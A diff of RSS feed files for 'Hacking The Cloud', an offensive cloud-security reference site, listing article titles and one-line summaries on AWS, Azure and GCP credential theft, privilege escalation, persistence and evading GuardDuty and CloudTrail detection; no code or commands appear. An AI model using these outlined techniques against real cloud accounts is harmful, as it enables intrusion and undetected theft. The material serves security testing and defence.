+0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_service_account_permissions.png" type="image/png" length="0" /> </item> <item> <title>Terraform ANSI Escape</title> <description>Using ANSI Escape Sequences to Hide Malicious Terraform Code</description><link>https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/</link> <pubDate>Sat, 09 Jul 2022 00:02:47 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/terraform/terraform_ansi_escape_evasion.png" type="image/png" length="0" /> </item> <item> <title>Default Account Information</title> <description>Default information on how accounts and service accounts exist in GCP</description><link>https://hackingthe.cloud/gcp/general-knowledge/default-account-names/</link> <pubDate>Sun, 29 May 2022 13:26:35 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/general-knowledge/default-account-names/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/default-account-names.png" type="image/png" length="0" /> </item> <item> <title>Security and Constraints</title> <description>Security considerations and constraints that are unique to GCP</description><link>https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/</link> <pubDate>Sun, 29 May 2022 13:26:35 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/security-and-constraints.png" type="image/png" length="207887" /> </item> <item> <title>Using Stolen IAM Credentials</title> <description>How to work with stolen IAM credentials and things to consider.</description><link>https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/</link> <pubDate>Sat, 14 May 2022 21:51:44 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/using_stolen_iam_credentials.png" type="image/png" length="0" /> </item> <item> <title>Run Shell Commands on EC2 with Send Command or Session Manager</title> <description>Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.</description><link>https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/</link> <pubDate>Mon, 11 Apr 2022 23:11:43 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/run_shell_commands_on_ec2.png" type="image/png" length="0" /> </item> <item> <title>Abusing Managed Identities</title> <description>Abusing Managed Identities</description><link>https://hackingthe.cloud/azure/abusing-managed-identities/</link> <pubDate>Sun, 27 Mar 2022 16:57:50 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/azure/abusing-managed-identities/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/azure/abusing-managed-identities.png" type="image/png" length="0" /> </item> <item> <title>Anonymous Blob Access</title> <description>Finding and accessing files stored in Azure Storage Accounts without authentication.</description><link>https://hackingthe.cloud/azure/anonymous-blob-access/</link> <pubDate>Sat, 19 Mar 2022 16:57:37 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/azure/anonymous-blob-access/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/azure/anonymous-blob-access.png" type="image/png" length="0" /> </item> <item> <title>Soft Deleted Blobs</title> <description>Recovering and accessing files in private Storage Accounts that have been deleted.</description><link>https://hackingthe.cloud/azure/soft-deleted-blobs/</link> <pubDate>Thu, 17 Mar 2022 14:35:54 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/azure/soft-deleted-blobs/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/azure/soft-deleted-blobs.png" type="image/png" length="0" /> </item> <item> <title>AWS API Call Hijacking via ACM-PCA</title> <description>By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC</description><link>https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/</link> <pubDate>Sun, 13 Mar 2022 23:45:47 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/route53_modification_privilege_escalation.png" type="image/png" length="0" /> </item> <item> <title>CI/CDon&#39;t</title> <description>An AWS/GitLab CICD themed CTF.</description><link>https://hackingthe.cloud/aws/capture_the_flag/cicdont/</link> <pubDate>Sat, 05 Mar 2022 04:00:57 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/capture_the_flag/cicdont/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/capture_the_flag/cicdont.png" type="image/png" length="0" /> </item> <item> <title>Enumerate AWS Account ID from an EC2 Instance</title> <description>With access to an ec2 instance, you will be able to identify the AWS account it runs in.</description><link>https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/</link> <pubDate>Sun, 27 Feb 2022 22:50:13 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_ec2.png" type="image/png" length="0" /> </item> <item> <title>[Deprecated] Whoami - Get Principal Name From Keys</title> <description>During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.</description><link>https://hackingthe.cloud/aws/deprecated/whoami/</link> <pubDate>Wed, 09 Feb 2022 04:00:32 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/deprecated/whoami/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/deprecated/whoami.png" type="image/png" length="0" /> </item> <item> <title>Modify GuardDuty Configuration</title> <description>Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.</description><link>https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/</link> <pubDate>Sun, 30 Jan 2022 10:32:26 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/modify-guardduty-config.png" type="image/png" length="0" /> </item> <item> <title>Terraform Enterprise: Attack the Metadata Service</title> <description>Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service</description><link>https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/</link> <pubDate>Thu, 23 Dec 2021 21:59:38 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/terraform/terraform_enterprise_metadata_service.png" type="image/png" length="219084" /> </item> <item> <title>Hacking The Cloud</title> <description>The encyclopedia for offensive security in the cloud</description><link>https://hackingthe.cloud/</link> <pubDate>Tue, 30 Nov 2021 05:00:09 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/index.png" type="image/png" length="196546" /> </item> <item> <title>AWS IAM Privilege Escalation Techniques</title> <description>Common techniques that can be leveraged to escalate privileges in an AWS account.</description><link>https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/</link> <pubDate>Thu, 04 Nov 2021 21:03:24 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/iam_privilege_escalation.png" type="image/png" length="0" /> </item> <item> <title>Metadata in Google Cloud Instances</title> <description>Information about the data an attacker can access via GCP&#39;s API endpoints</description><link>https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/</link> <pubDate>Sun, 24 Oct 2021 17:41:56 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/metadata_in_google_cloud_instances.png" type="image/png" length="0" /> </item> <item> <title>Lambda Persistence</title> <description>How to establish persistence on a Lambda function after getting remote code execution.</description><link>https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/</link> <pubDate>Thu, 16 Sep 2021 15:02:21 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/lambda_persistence.png" type="image/png" length="0" /> </item> <item> <title>Get IAM Credentials from a Console Session</title> <description>Convert access to the AWS Console into IAM credentials.</description><link>https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/</link> <pubDate>Wed, 14 Jul 2021 20:46:17 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/get_iam_creds_from_console_session.png" type="image/png" length="213826" /> </item> <item> <title>[Deprecated] Enumerate Permissions without Logging to CloudTrail</title> <description>Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.</description><link>https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/</link> <pubDate>Tue, 18 May 2021 19:13:08 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/deprecated/stealth_perm_enum.png" type="image/png" length="0" /> </item> <item> <title>S3 File ACL Persistence</title> <description>Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.</description><link>https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/</link> <pubDate>Tue, 13 Apr 2021 02:53:30 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/s3_acl_persistence.png" type="image/png" length="0" /> </item> <item> <title>Enumerate AWS Account ID from a Public S3 Bucket</title> <description>Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.</description><link>https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/</link> <pubDate>Sat, 03 Apr 2021 01:39:08 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_s3_bucket.png" type="image/png" length="0" /> </item> <item> <title>Bypass GuardDuty Tor Client Findings</title> <description>Connect to the Tor network from an EC2 instance without alerting GuardDuty.</description><link>https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/</link> <pubDate>Sat, 20 Feb 2021 04:07:08 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-tor-client.png" type="image/png" length="207552" /> </item> <item> <title>Intercept SSM Communications</title> <description>With access to an EC2 instance you can intercept, modify, and spoof SSM communications.</description><link>https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/</link> <pubDate>Sat, 06 Feb 2021 17:17:59 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/intercept_ssm_communications.png" type="image/png" length="0" /> </item> <item> <title>Role Chain Juggling</title> <description>Keep your access by chaining assume-role calls.</description><link>https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/</link> <pubDate>Wed, 03 Feb 2021 03:20:50 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/role-chain-juggling.png" type="image/png" length="0" /> </item> <item> <title>User Data Script Persistence</title> <description>Maintain access to an EC2 instance and it&#39;s IAM role via user data scripts.</description><link>https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/</link> <pubDate>Wed, 03 Feb 2021 03:20:50 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/user_data_script_persistence.png" type="image/png" length="209761" /> </item> <item> <title>Introduction to the Instance Metadata Service</title> <description>An introduction to the Instance Metadata Service and how to access it.</description><link>https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/</link> <pubDate>Sun, 20 Dec 2020 20:10:43 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/intro_metadata_service.png" type="image/png" length="0" /> </item> <item> <title>Introduction to User Data</title> <description>An introduction to EC2 User Data and how to access it.</description><link>https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/</link> <pubDate>Sun, 20 Dec 2020 20:10:43 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/introduction_user_data.png" type="image/png" length="0" /> </item> <item> <title>Brute Force IAM Permissions</title> <description>Brute force the IAM permissions of a user or role to see what you have access to.</description><link>https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/</link> <pubDate>Sun, 20 Dec 2020 18:58:26 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/brute_force_iam_permissions.png" type="image/png" length="0" /> </item> <item> <title>Get Account ID from AWS Access Keys</title> <description>Techniques to enumerate the account ID associated with an AWS access key.</description><link>https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/</link> <pubDate>Sun, 27 Sep 2020 16:06:37 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/get-account-id-from-keys.png" type="image/png" length="0" /> </item> <item> <title>Whoami - Get Principal Name From Keys</title> <description>During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.</description><link>https://hackingthe.cloud/aws/enumeration/whoami/</link> <pubDate>Fri, 21 Aug 2020 17:00:02 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/whoami/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/whoami.png" type="image/png" length="215802" /> </item> <item> <title>Steal IAM Credentials and Event Data from Lambda</title> <description>Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.</description><link>https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/</link> <pubDate>Wed, 12 Aug 2020 23:15:50 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/lambda-steal-iam-credentials.png" type="image/png" length="218855" /> </item> <item> <title>Unauthenticated Enumeration of IAM Users and Roles</title> <description>Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.</description><link>https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/</link> <pubDate>Wed, 05 Aug 2020 14:32:32 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/enum_iam_user_role.png" type="image/png" length="0" /> </item> <item> <title>Steal EC2 Metadata Credentials via SSRF</title> <description>Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.</description><link>https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/</link> <pubDate>Sat, 01 Aug 2020 17:43:14 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/ec2-metadata-ssrf.png" type="image/png" length="215994" /> </item> <item> <title>Connection Tracking</title> <description>Abuse security group connection tracking to maintain persistence even when security group rules are changed.</description><link>https://hackingthe.cloud/aws/general-knowledge/connection-tracking/</link> <pubDate>Thu, 30 Jul 2020 23:28:52 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/connection-tracking/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/connection-tracking.png" type="image/png" length="0" /> </item> <item> <title>IAM unique identifiers</title> <description>Chart of the IAM unique ID prefixes.</description><link>https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/</link> <pubDate>Mon, 27 Jul 2020 19:47:46 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/iam-key-identifiers.png" type="image/png" length="0" /> </item> <item> <title>Bypass GuardDuty Pentest Findings for the AWS CLI</title> <description>Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI.</description><link>https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/</link> <pubDate>Wed, 22 Jul 2020 02:58:24 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-pentest.png" type="image/png" length="228148" /> </item> <item> <title>Bypass Credential Exfiltration Detection</title> <description>When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.</description><link>https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/</link> <pubDate>Wed, 22 Jul 2020 02:58:24 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/steal-keys-undetected.png" type="image/png" length="0" /> </item> </channel></rss>
\ No newline at end of file
diff --git a/feed_rss_updated.xml b/feed_rss_updated.xml
index b1954e09f..48d43d58e 100644
--- a/feed_rss_updated.xml
+++ b/feed_rss_updated.xml
@@ -1 +1 @@
-<?xml version="1.0" encoding="UTF-8" ?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/"> <channel><title>Hacking The Cloud</title><description>The encyclopedia for offensive security in the cloud.</description><link>https://hackingthe.cloud/</link><atom:link href="https://hackingthe.cloud/feed_rss_updated.xml" rel="self" type="application/rss+xml" /><docs>https://github.com/Hacking-the-Cloud/hackingthe.cloud</docs><language>en</language> <pubDate>Wed, 27 Nov 2024 18:55:24 -0000</pubDate> <lastBuildDate>Wed, 27 Nov 2024 18:55:24 -0000</lastBuildDate> <ttl>1440</ttl> <generator>MkDocs RSS plugin - v1.16.0</generator> <item> <title>[Deprecated] Enumerate Permissions without Logging to CloudTrail</title> <description>Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.</description><link>https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/</link> <pubDate>Thu, 21 Nov 2024 02:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/deprecated/stealth_perm_enum.png" type="image/png" length="221520" /> </item> <item> <title>Enumerate AWS Account ID from a Public S3 Bucket</title> <description>Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.</description><link>https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/</link> <pubDate>Thu, 21 Nov 2024 02:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_s3_bucket.png" type="image/png" length="219126" /> </item> <item> <title>Unauthenticated Enumeration of IAM Users and Roles</title> <description>Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.</description><link>https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/</link> <pubDate>Thu, 21 Nov 2024 02:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/enum_iam_user_role.png" type="image/png" length="226680" /> </item> <item> <title>Derive a Principal ARN from an AWS Unique Identifier</title> <description>How to convert an unique identifier to a principal ARN.</description><link>https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/</link> <pubDate>Thu, 21 Nov 2024 02:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_principal_arn_from_unique_id.png" type="image/png" length="211615" /> </item> <item> <title>AWS IAM Privilege Escalation Techniques</title> <description>Common techniques that can be leveraged to escalate privileges in an AWS account.</description><link>https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/</link> <pubDate>Thu, 21 Nov 2024 02:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/iam_privilege_escalation.png" type="image/png" length="213287" /> </item> <item> <title>CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios</title> <description>An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/</link> <pubDate>Thu, 21 Nov 2024 02:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png" type="image/png" length="232262" /> </item> <item> <title>Prevent Expensive AWS API Actions with SCPs</title> <description>Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.</description><link>https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/</link> <pubDate>Thu, 21 Nov 2024 02:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/block-expensive-actions-with-scps.png" type="image/png" length="218462" /> </item> <item> <title>Connection Tracking</title> <description>Abuse security group connection tracking to maintain persistence even when security group rules are changed.</description><link>https://hackingthe.cloud/aws/general-knowledge/connection-tracking/</link> <pubDate>Thu, 21 Nov 2024 02:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/connection-tracking/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/connection-tracking.png" type="image/png" length="209478" /> </item> <item> <title>Get IAM Credentials from a Console Session</title> <description>Convert access to the AWS Console into IAM credentials.</description><link>https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/</link> <pubDate>Thu, 21 Nov 2024 02:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/get_iam_creds_from_console_session.png" type="image/png" length="213826" /> </item> <item> <title>Intercept SSM Communications</title> <description>With access to an EC2 instance you can intercept, modify, and spoof SSM communications.</description><link>https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/</link> <pubDate>Thu, 21 Nov 2024 02:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/intercept_ssm_communications.png" type="image/png" length="209881" /> </item> <item> <title>Bypass GuardDuty Pentest Findings for the AWS CLI</title> <description>Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string when using the AWS CLI.</description><link>https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/</link> <pubDate>Tue, 12 Nov 2024 03:00:45 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-pentest.png" type="image/png" length="228148" /> </item> <item> <title>AWS CLI Tips and Tricks</title> <description>A collection of tips and tricks for using the AWS CLI.</description><link>https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/</link> <pubDate>Mon, 04 Nov 2024 03:15:10 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_cli_tips_and_tricks.png" type="image/png" length="204919" /> </item> <item> <title>DNS and CloudFront Domain Takeover via Deleted S3 Buckets</title> <description>How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.</description><link>https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/</link> <pubDate>Wed, 30 Oct 2024 21:58:21 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.png" type="image/png" length="228410" /> </item> <item> <title>Run Command Abuse</title> <description>Utilise Azure 